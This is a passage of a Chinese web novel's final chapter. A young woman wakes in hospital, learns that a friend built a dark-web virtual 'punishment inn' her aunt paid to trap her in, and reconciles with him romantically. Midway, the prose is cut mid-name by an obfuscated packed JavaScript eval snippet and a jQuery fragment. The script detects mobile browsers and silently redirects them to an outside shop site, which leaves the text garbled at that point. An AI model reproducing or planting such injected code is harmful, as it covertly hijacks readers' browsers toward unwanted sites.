俞小澄稍稍弯曲了一下手指,感觉拿回了身体的控制权,缓缓睁开眼,对外界的亮度还有些不适应,眼前仿佛罩着一层透明的东西,朦朦胧胧,不怎么看得清。
然后看见一个模糊的人影在她面前晃了晃手指,那人问:“俞小姐,能听到我说话吗?有没有感觉不舒服的地方?”
俞小澄明显感觉脑子转得有些慢,过了许久才反应过来那人是在问自己,她有些疲倦地摇了摇头。
视线随着时间流逝逐渐清晰,她终于看清眼前的人,是个穿着白大褂的女人,头发盘在脑后,戴着一副眼镜,视线落在她脸上,似乎正观察着她的反应。
她想回话,却感觉嗓子干涩,说话的声音一点都听不出来是自己的。
“我……怎么……这是哪儿啊……”
断断续续的话从俞小澄嘴里吐出,面前的女人安抚一般道:“怀禹中心医院,你还记得昏迷前的事吗?”
俞小澄点了点,有气无力地用沙哑的嗓音回答:“有人让我选择……喝还是不喝……这是我创造的梦境吗?”
俞小澄觉得有哪里不对劲,如果真是沦为了恶灵,她怎会如此虚弱,而且她还没有考虑过梦境规则,所以这里是现实吗?她离开旅店了吗?
乱七八糟的想法在脑海中纠缠碰撞,搞得她晕头转向。
女医生被她的问题也问懵了,微微一笑没有回话,而是转头对一旁的护士说:“意识混乱,先留院观察一天再说。”说罢又回过头,轻声安抚俞小澄,“俞小姐,你刚醒过来,脑子里可能还有些乱,好好休息,慢慢就会恢复的。”
女医生说完这些话,跟护士简单交代了几句,随即离开了房间。
护士安静地转到床头,替俞小澄更换输液袋,并善意地解释输液袋里装的是营养液,让俞小澄放轻松别紧张。
俞小澄此刻才留意到自己身处一间独立的病房,整个房间里就只有她这一位病患,这种特殊待遇让俞小澄顿感不妙。
"我是怎么到这里来的啊?"俞小澄低声问道。
护士正拿出仪器准备替她测体温量血压,闻言笑道:“傻姑娘,想不起自己干了啥傻事了吗?你也真是的,年纪轻轻,怎么就不珍惜自个儿的生命呢!还好有邻居从你家经过,发现及时,把你送医院来了。”
俞小澄渐渐回想起,在痛苦倒地失去意识的前一刻,的确看到有人朝自己跑来。
“原来我真回到现实了啊……”俞小澄小声嘟囔。
护士闻言苦笑着摇了摇头:“睡了这么久,脑子不清醒也正常,再住两天院,估计就能回家了,回家后可不能再想不开了哦。”
护士将测量出的数据记录下来,然后叮嘱她别胡思乱想,说已经找人打电话联系她家人了,估计过会儿就有人来看她了。
在护士推着医用推车准备离开时,俞小澄叫住护士,战战兢兢地问道:“我在这儿住了多久了?”
护士从推车上找到俞小澄的病例翻看片刻,答:“今天是你住院的第二十八天。”
俞小澄听到的瞬间,就跟后背被扎了一针似的,猛地坐了起来,心里瞬间开始计算起住二十八天单人病房需要花费多少钱,越想越害怕,声音颤抖地问道:“如果交不起住院费,我会不会坐牢?”
护士愣了一下,随即笑出了声,道:“你可真幽默,放心,你的住院费你家里人提前预支了。”
“我小姨?”俞小澄有些不相信。
“哦,好像是,她对你真不错,还专门请了个护工,每天在医院照顾你,不过说来奇怪,今天怎么没看见那个护工呢?”护士打开了话匣子,将俞小澄不知道的事一股脑往外倒。
俞小澄越听越觉得魔幻,她从不认为她这个小姨能对她这么好,住院选单人病房,请护工可能是不想苦了她自己,可这笔费用可不少,小姨真舍得?
她越想越觉得奇怪,决定等小姨来了好好问个清楚。
可是这一等就等到了晚上,没有人来看过她。
护士跟她说确实是联系上了她小姨,也告诉了对方俞小澄醒过来的消息,至于对方为何没出现,医院就没法猜测了。
护士安慰道:“兴许是今日有事忙,大概明日就来了吧。”
第二天,俞小澄又在病房里等了一整天,依然没能等到那个算不上陌生的身影。
她的一切检查数据显示无异,混乱的记忆也逐渐回归正常,医生表示明早就可以出院回家了,护士则安慰说明天出院肯定家里人会来接她的。
俞小澄回了一个微笑,没有说话。
小姨真的可能会来接她吗?
至少俞小澄觉得不可能,小姨从来都不喜欢她,觉得她不是一个好女儿,觉得她母亲之所以一辈子这么苦,一是摊上了她父亲这样的短命鬼,二是摊上了她这样的白眼狼。
这么一想,俞小澄忽然惊得坐直了身子,似乎终于找到了穷途旅店所说的苦主。
对啊,能如此记恨她,又活在这世上的人,除了小姨还能有谁呢?
可转念一想,穷途旅店当真存在吗?
她二十八天一直住在怀禹中心医院没有离开过,又是如何进入到穷途旅店的呢?
或者说,穷途旅店根本就是她喝药把脑子烧坏了,做的一场梦?
越想越觉得虚无缥缈,俞小澄甚至有时候都在怀疑自己是不是真的清醒了,是否真的离开穷途旅店了……
她时不时会掐一掐脸颊,那痛感其实和在旅店的梦境中差不多,都一样真实,于是她就更混乱了。
她开始怀疑自己是不是快疯了,无法得到答案的谜题不停地折磨着她的神经。
就这样又过了一晚,俞小澄终于可以出院了,她觉得一切的疑问只要见到小姨一定可以得到解答。
一大早,俞小澄换上了那件入院时穿的衣服,衣服从未洗过,上面还残留着些许呕吐的痕迹,看来没有人觉得她能醒过来。
办理完出院手续,俞小澄便走出了住院部。
太久没走动过了,一开始她还有些不适应,前两日稍微扶着墙壁上的扶手在楼道里活动了一下,渐渐找回了身体的协调性,可现在走起路来脚下总感觉有点虚浮。
身上没带手机,她只能走出医院到路上去看看能不能打到出租车。
她在路旁等了许久,偶尔看见一辆出租,车里无一不是载了客,回头细想,方觉有些尴尬,她身上没钱也没手机,就算真叫到车,不知会不会被当成坐霸王车的人。
正纠结要如何让别人相信自己不是这样的人,忽然一辆摩托停在了她面前,一个大叔笑嘻嘻地问她:“美女去哪儿?我拉你过去。”
“呃……”俞小澄心里有些慌,犹豫着要不要搭车,不搭似乎也没有别的办法,便小声询问道,“我出门忘带手机了,能到了再付……”
“俞小澄!”
正与摩托车师傅打着商量,忽然远远听见一个熟悉的声音在喊自己的名字。
俞小澄回头四下张望,时间尚早,路上没什么人,所以她半天也没锁定叫自己的人究竟在何处。
“俞小澄!这里!”
有个刚从医院大门走出的人影,挥了挥手里的花束,高声喊道,然后快速往她所在的位置奔跑。
那个身影十分眼熟,许多个夜晚陪她在梦境里历尽艰险,在危险时将她护在身后,却又时不时偷摸着给她使绊子,就算被利刃刺透胸膛时,最后一句话还能对她说:“学姐……别放弃离开旅店,也别讨厌我……”
俞小澄愣在原地,再听不见身旁的大叔跟自己说什么话,她的眼中只看到那个她以为再不会出现的人正朝自己跑来。
身旁的大叔一看生意做不成了,扫兴地骑车离开了,只余下俞小澄一人傻傻地站在路边,被不争气的泪水湿了眼眶。
那张仿佛已经很久没有见过的脸终于出现在她面前,带着如冬日初升太阳一般和煦的笑,双手递上一大束花,说:“恭喜出院,俞小澄。你走得也太早了,我差点没赶上,刚去病房找了一圈,护士说你刚走,还好出来碰上……”
吴樊祐自顾自地说着话,可等了半晌也没等到任何反应,才发现俞小澄早就走神了。
他抬手在俞小澄眼前晃了晃,嘴上调侃道:“怎么了?没睡醒,还做梦呢?”
俞小澄茫然地点了点头,两行泪水夺眶而出,哽咽着说道:“果然是我创造的梦境吗?我就说小姨怎么可能替我付住院费,还请护工照顾我,她怎么可能舍得钱啊,原来这里是我的梦境啊……”
嘴里的话逐渐被哭声淹没,俞小澄放肆地大哭起来,感觉再也不用在意别人的眼光,肆意地发泄着心中压抑太久的情绪。
站在面前的吴樊祐终是收敛了脸上的笑,将花束扔在了一旁,张开手臂,将哭成泪人的俞小澄揉进了怀中,一边抚摸着她的脑袋,一边轻声安慰道:“不是梦,你回来了,离开旅店了,我们都还活着。”
这个怀抱是温暖的,俞小澄将头埋在吴樊祐的胸口,能感受到对方的心跳,双手抓住吴樊祐的衣服,手上的触感也很真实,真实到让她害怕。
她便将手攥得更紧些,唯恐一眨眼,眼前的一切就又都变了。
一番宣泄,情绪逐渐平稳,俞小澄的大脑才终于正常运转起来,然后抓着吴樊祐衣服的手,隔着衣服摸到了他的腰,接着眼神一冷,手上便使了力,掐得吴樊祐嗷的一声叫唤。
他整个人往后蹦了一步,搂着俞小澄的手也就此放开,一边揉着腰,一边苦着一张脸,疑惑地问:“怎么了?我又哪里得罪学姐了?咋这么快又翻脸了……”
俞小澄胡乱抹了抹脸上的泪痕,才发觉自己一身狼狈,瞬间感觉耳朵有些发烫,她回避着吴樊祐的视线,将脸撇到一边,同时也掩饰着身上的污渍。
她故作镇定地说道:“交代吧,究竟怎么回事?”
吴樊祐闻言立马老实地立正站好,想了想,又不知从何说起好,不好意思地挠了挠头,指着路边停放的汽车道:“说来话长,先上车吧,我们路上再聊。”
俞小澄没有反对,跟着吴樊祐坐到了副驾上。
吴樊祐开着车,向着她家方向驶去,这一幕似曾相识,让俞小澄不由得一阵心慌。
就像刚醒来时,她会掐自己的脸确定是否还在做梦,这个时候,她就掐吴樊祐的脸,然后看着吴樊祐一脸诧异地看她一眼,她问:“疼吗?”
吴樊祐没有回答,腾出一只手抚上俞小澄的额头,然后问:“发烧了吗?”
俞小澄突然笑了,打落吴樊祐的手,安心地靠在座椅上,转头看着窗外不断倒退的风景,总于感觉到一点真实。
这家伙还是这么擅长气人。
吴樊祐见俞小澄放松下来,才缓缓开口道:“穷途旅店是我开发的罪恶惩罚系统,可以将人的意识放入虚拟世界,也就是穷途旅店之中。”
“哦。”
“这个系统后来被某家公司看中,并加大开发力度,正式投入到使用。”
“哦。”
“各地的苦主可以通过暗网联系到我们,我们会派驻守在当地的调查员上门调查情况,如果符合穷途旅店的条件,便会帮忙将这些无法被法律制裁的人送入旅店中。”
“哦。”
吴樊祐一脸认真地交代着关于穷途旅店的一切,俞小澄只是平静地听着,不发表意见,不表露任何情绪,只是随意应上一声,视线却始终落在窗外。
其实她大概已经猜到,所以没有任何值得惊讶的地方。
暗网确实流传着这样那样的消息,大多人只当是乐子,毕竟“消除世间不公”这样的口号,一听就很中二。
她唯一没想到的是吴樊祐创造了穷途旅店。
“你这样无忧无虑的人,为啥要创造这种东西呢?”俞小澄望着后视镜中的自己,疑惑地问道。
在她眼中,能创造出这种恐怖东西的人,大抵应该是像她这样的社会失败者,心中满是对世界的怨恨,所以为了报复社会,做出了跟自己内心一样扭曲的东西。
可吴樊祐明明不是这样的人,他的世界充满阳光,恐怕从未受过挫,又怎知人间疾苦呢?
俞小澄困惑之时,吴樊祐只是淡淡一笑,嘴里重复道:“是啊,我这样无忧无虑的人,为啥要创造这种东西呢……”
吴樊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14261713|133719||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
祐的脑海中闪过一段记忆,那是大学时光中唯一的阴云,不是笼罩在他头上的,而是笼罩在俞小澄的头上,他的世界或许总是晴天,可不代表他看不见淋雨的人。
他的重复终是收获了俞小澄的怒目斜视和掐脸攻击,他只好道歉求饶。
打闹过后,俞小澄才终于问出自己在意的问题:“你们公司经过调查,给我定下的是什么罪?联系你们的是不是我小姨?”
这个问题让吴樊祐有些苦恼,似乎很不想俞小澄知道,犹豫了片刻才像是下定了决心一样回答道:“你小姨控诉你不仅不履行子女赡养父母的义务,甚至还败光了家里的积蓄,连母亲生病都不看望,母亲死后眼见没了经济来源,便想一死了之,所以……”
俞小澄轻轻按压着眼角,对这位小姨是真的一点脾气都没了。
“然后呢?你们公司调查后,觉得我符合被惩罚的条件?”
“调查一事,一直是公司前端业务员全权负责,最终将判断结果上报公司,然后申请接入穷途系统,业务审核通过后,便会正式实施,所以……当看到你的资料出现在我房间里,我才意识到,或许整个体系存在漏洞,比如前端业务员只要收钱办事就好……”
吴樊祐沮丧地说着这些他大概不想承认的失败之处,俞小澄则万分佩服她小姨对她的恨已经到了舍得下血本的地步。
从吴樊祐口中得知,俞小澄入院的当晚,她小姨就联系了穷途科技。
第二天,负责怀禹地区的驻外经理就上门开展了调查,当晚就将申请资料发送回总部。
第三天,穷途科技的人扮成护工,给俞小澄接上了意识传送仪器,也就是那个时候,俞小澄出现在了穷途旅店中。
整个过程的所有费用都将由苦主承担,穷途科技的本意是让这些一心想着报复的人心中有杆秤,试着评估一下到底值不值得。
而她小姨签字同意了。
“呵,如果我一直留在旅店里,住上个一年半载,就是不死,你说我小姨会不会受不了经济压力?”俞小澄苦笑着问道。
吴樊祐耸了耸肩,并没有发表自己的看法,不过还是跟俞小澄稍微解释了一下:
“梦境中的死亡其实不决定现实世界的死亡,进入旅店只是意识。有的人可能在现实中早死了,有的人可能还活着。当住客在梦境中死亡或者找回记忆,便有机会离开旅店,可离开旅店后还能不能活,则取决于现实。”
“哼,就你们那破验证,有人能离开就怪了……”俞小澄忍不住吐槽。
“是,我的设计肯定不完美,所以我这不来请学姐出山助我修复漏洞嘛!”吴樊祐一脸赔笑。
俞小澄想了想,感觉如果能深入到穷途系统之中,说不定还有办法救回白羽楠,于是妥协道:“请我?请我的价格可是很贵的!”
“你要开什么价都可以!”吴樊祐瞬间喜笑颜开。
“你是老板吗?”
“不是。”
“那你说个屁!”
“嘿嘿,我给自己请位专家助手,老板不敢反对。”
俞小澄并不怀疑吴樊祐说话夸张,因为她想起曾经自称与吴樊祐是同事兼学妹的萧莹说过,吴樊祐在公司里地位比较特殊,连老板都让其他员工别得罪他。
想着这事有些出神,吴樊祐抬手摸了摸她的头,问:“助手大人又有什么想不通?你不如说出来,别让我猜好不好。”
俞小澄瞪了他一眼,突然心里有些不是滋味,扭过脸去不加理会,嘴上故作不在意地说:“原来你这么大老远从久昌市跑到怀禹,就为了跟我谈公事。”
吴樊祐闻言微微扬起嘴角,故意使坏道:“对啊,为了难得一见的人才,跑再远都值!”
这句话,瞬间让俞小澄感觉透心凉,直接闭眼假装睡觉,心道:我今后再信你一句就是小狗!
许久不见身旁有动静,吴樊祐才意识到玩笑开大了,寻了个机会,急急将车停到了路旁。
松掉安全带,吴樊祐焦急地转向俞小澄,小心地用指头戳了戳俞小澄的胳膊,可对方只是缩了一下胳膊,有意回避,连眼睛都懒得睁开一下。
吴樊祐赶紧道歉:“学姐不会真生气了吧?这种话你怎么就信了啊?我真就胡说八道,我天天盯着系统不睡觉,时刻担心你在旅店里有没有过上你想要的生活,担心你违反旅店规则出意外,这都是关心同事吗?”
吴樊祐一脸慌张,想到什么话都往外倒,急得跟找不到出路要被热锅烫死的蚂蚁一样。
他这些话倒真的被俞小澄听进去了,俞小澄睁开眼,回过头问:“改变吸烟室属性的人是你?”
吴樊祐见她终于肯说话,一张苦瓜脸肉眼可见地舒展开,焦急地点头道:“死在旅店里就真的什么都没了,现实中的你就再也不可能醒来了。”
原本那些看上去不合理的事,在这一刻全都变得合理起来,一直追着她不放的记忆碎片、没有对她动手的安保人员、及时被制裁的蔡德、不停驱赶她回房的提示、逼迫范正昂上楼找她的手段……
是啊,除了他,谁还会在意她的死活呢?
心里有些委屈,眼眶又被烦人的水气湿润了。
吴樊祐慌张地拂去她脸颊上的泪珠,她顺势双手环住吴樊祐的脖子,下巴抵在吴樊祐的锁骨,不知是高兴还是难过,反正先哭过再说。
她从不喜欢让人看见她的软弱,因为只会收获白眼与嘲讽,而现在,她好像终于不用假装坚强了。
一只手温柔地抚着俞小澄的后背,柔和而舒缓的声音在耳边轻响:
“俞小澄,我喜欢你,一直都喜欢你,做我女朋友好不好?”
这句话,在长达八年的暗恋生涯中,从未出现在俞小澄的梦里,最终出现在现实中。
“嗯,我也喜欢你,很久很久了。”
一个轻柔的吻落在了俞小澄的脸颊,那是吴樊祐想了很久却不敢做的事,他想要的还有很多,今后的日子还长,他会一点一点追回他遗失的四年时光。
“俞小澄,这个世上一直都有人在等你。”
“嗯,我回来了。”
(正文完结)